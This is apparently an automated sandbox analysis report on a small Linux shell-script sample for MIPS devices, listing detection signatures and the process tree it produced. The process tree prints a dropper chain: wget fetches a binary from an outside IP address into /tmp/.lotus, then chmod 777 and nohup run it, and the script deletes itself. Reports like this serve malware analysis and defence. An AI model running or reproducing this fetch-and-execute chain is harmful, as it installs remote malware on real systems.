Analysis
- max time kernel
61s - max time network
139s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
- submitted
03/10/2026, 09:24
General
- Target f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh
- Size 1KB
- Sample261003-lc5pravgla
- SHA256 f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh/tmp/f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh1⤵
-
/bin/unameuname -m2⤵
-
-
/usr/bin/wgetwget -q http://2.27.248.149/bins/mips -O /tmp/.lotus2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 /tmp/.lotus2⤵
- File and Directory Permissions Modification
-
-
/bin/rmrm -f /tmp/f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh2⤵
-
-
/usr/bin/nohupnohup /tmp/.lotus2⤵
- Executes dropped EXE
-
-
/tmp/.lotus/tmp/.lotus2⤵
- Reads runtime system information
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
.lotus